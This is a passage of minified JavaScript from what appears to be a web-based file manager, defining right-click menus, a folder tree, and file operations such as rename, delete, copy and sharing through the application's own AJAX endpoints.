set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),_(),x(),y(),b(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),y(),x(),v(),g(),b(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:s.listIcon,sortBy:s.sortBy,setFileIconSize:s.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"Ctrl+F",className:"search",icon:"search",accesskey:"s"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},open_text:{name:LNG.edit+"Ctrl+E",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"open_text":ui.path.openEditor();break;case"playmedia":ui.path.play();break;case"search":ui.path.search();break;case"show_file":ui.path.show_file();break;case"openProject":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){k(e)},items:{edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}) -},b=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},y=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep101:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},k=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"show_file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e=$(".context-menu-list").filter(":visible"),t=$(".context-menu-active");if(0!=e.length&&0!=t.length){if(t.hasClass("dialog_menu")){var i=t.attr("id"),a=$.dialog.list[i];a.has_frame()?(e.find(".open_window").show(),e.find(".refresh").show()):(e.find(".open_window").hide(),e.find(".refresh").hide())}if(t.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==n?e.find(".unzip").show():e.find(".unzip").hide(),"html"==n||"htm"==n||"oexe"==n?e.find(".open_text").show():e.find(".open_text").hide()}if(t.hasClass("menuMore")){var o=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(o+=1)}),0==o?e.find(".playmedia").hide():e.find(".playmedia").show()}}},isDisplay:function(){var e=!1;return $(".context-menu-list").each(function(){"none"!=$(this).css("display")&&(e=!0)}),e},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/src/share_editor/ui",[],function(){var e=function(){var e=!1,t=0,i=0,a=0,n=$(".frame-left"),o=$(".frame-resize"),s=$(".frame-right");o.die("mousedown").live("mousedown",function(e){return 1!=e.which?!0:(r(e),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){l(e)}),$(document).one("mouseup",function(e){return c(e),this.releaseCapture&&this.releaseCapture(),stopPP(e),!1}),stopPP(e),!1)});var r=function(a){e=!0,t=a.pageX,i=$(".frame-left").width(),o.addClass("active"),$(".resizeMask").css("display","block")},l=function(r){if(!e)return!0;var l=r.pageX-t,c=i+l;a>c&&(c=a),c>$(document).width()-200&&(c=$(document).width()-200),n.css("width",c),o.css("left",c-5),s.css("left",c+1)},c=function(){return e?(e=!1,o.removeClass("active"),$(".resizeMask").css("display","none"),void 0):!1}},t=function(){$(".tools-left a").click(function(){var e=$(this).attr("class");switch(e){case"home":tree.init();break;case"view":tree.explorer();break;case"folder":tree.create("folder");break;case"file":tree.create("file");break;case"refresh":tree.init();break;default:}})};return{init:function(){e(),t(),tree.init(),Mousetrap.bind(["ctrl+s","command+s"],function(e){e.preventDefault(),e.returnvalue=!1,ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()})})},setTheme:function(e){core.setSkin(e,"app_editor.css"),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)})},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},fileHistory:function(e){var t=G.project;if(G.sid!==void 0&&(t=t+"__"+G.sid),t="editorHistory_"+t,void 0==e){var i=LocalData.get(t);return i=jsonDecode(i),$.isArray(i)||(i=[]),i}LocalData.set(t,jsonEncode(e))}}}),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1;ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&a.open(f().path,f().type)},r=function(e){for(var t=[],i=[],a=0;e.length>a;a++){if(e[a].drop=!1,e[a].drag=!1,e[a].name=e[a].name,e[a].isParent&&e[a].children&&(e[a].children=r(e[a].children)),e[a].menuType)return e;e[a].is_writeable,"folder"==e[a].type?i.push(e[a]):t.push(e[a])}return i=i.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),t=t.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),i.concat(t)},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('
        '+LNG.system_error+"
        ")},success:function(e){if(!e.code)return $("#folderList").html('
        '+LNG.system_error+"
        "),void 0;var t=r(e.data);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(e){e.code&&(h(s),t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()})}):i.newFile(r,function(e){e.code&&(h(s),t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()})})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,h(s),t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)}})}},beforeDrag:function(e,t){for(var i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),ui.f5()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(f().path)},openWindow:function(){a.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):a.download(f().path)},setSelect:function(e){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=f(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\"],i=function(e){var i=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1};return i(e,t)?(Tips.tips(LNG.pathDisable+":/ \\",!1),!1):!0},a=function(e){for(var t=[],i=function(e){return e.replace(/"/g,'\\\\"')},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"list="+jsonEncode(t)},n=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)a;a++)if(e.charAt(a)!=t.charAt(a)||isNaN(parseInt(e.charAt(a)))){e=e.substr(a),t=t.substr(a);break}var o=/(-?[0-9\.]+)/g,s=(""+e).toLowerCase()||"",r=(""+t).toLowerCase()||"",l=String.fromCharCode(0),c=s.replace(o,l+"$1"+l).split(l),d=r.replace(o,l+"$1"+l).split(l),p=new Date(s).getTime(),u=p?new Date(r).getTime():null;if(u){if(u>p)return-1;if(p>u)return 1}for(var f=0,h=Math.max(c.length,d.length);h>f;f++)if(oFxNcL=parseFloat(c[f])||c[f],oFyNcL=parseFloat(d[f])||d[f],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var m=n(oFxNcL,oFyNcL);if(0!=m)return m}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},s=function(e,t){if(e){var a=core.pathThis(e);return i(a)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},r=function(e,t){if(e){var a=core.pathThis(e);return i(a)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){"function"==typeof t&&(Tips.close(e),t(e.info))}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t,a){return e&&t&&e!=t?i(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof a&&a(e.info)}}),void 0):("function"==typeof a&&a(),void 0):void 0},c=function(e,t,i){if(!(1>e.length)){var n=LNG.remove_title,o=LNG.remove_info,s="index.php?explorer/pathDelete",r=a(e);"share"==e[0].type&&(o=LNG.share_remove_tips,s="index.php?userShare/del",n=LNG.share_remove),(G.this_path==G.USER_RECYCLE||"recycle_clear"==e[0].type)&&(o=LNG.recycle_clear_info,s="index.php?explorer/pathDeleteRecycle",n=LNG.recycle_clear,"recycle_clear"==e[0].type&&(r={})),e.length>1&&(o+=' ... '+e.length+"");var l=function(){$.ajax({url:s,type:"POST",dataType:"json",data:r,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}n==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i===!0?l():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:n,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:o,ok:l,cancel:!0})}},d=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},p=function(e){var t=e.path,i="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)Tips.tips("该分享已存在",!0),u(e.data);else{G.self_share=e.info;var a={path:t,type:i,name:core.pathThis(t)};f(a,function(e){e.code?(G.self_share=e.info,ui.f5(),u(e.data)):(Tips.tips(e),u(void 0,function(){$(".content_info input[name=type]").val(i),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==i&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},u=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){h(t),void 0!=i&&i()})},f=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},h=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){c([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),f(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},m=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},_=function(e,t,i,a,n){if(!(1>e.length)){var 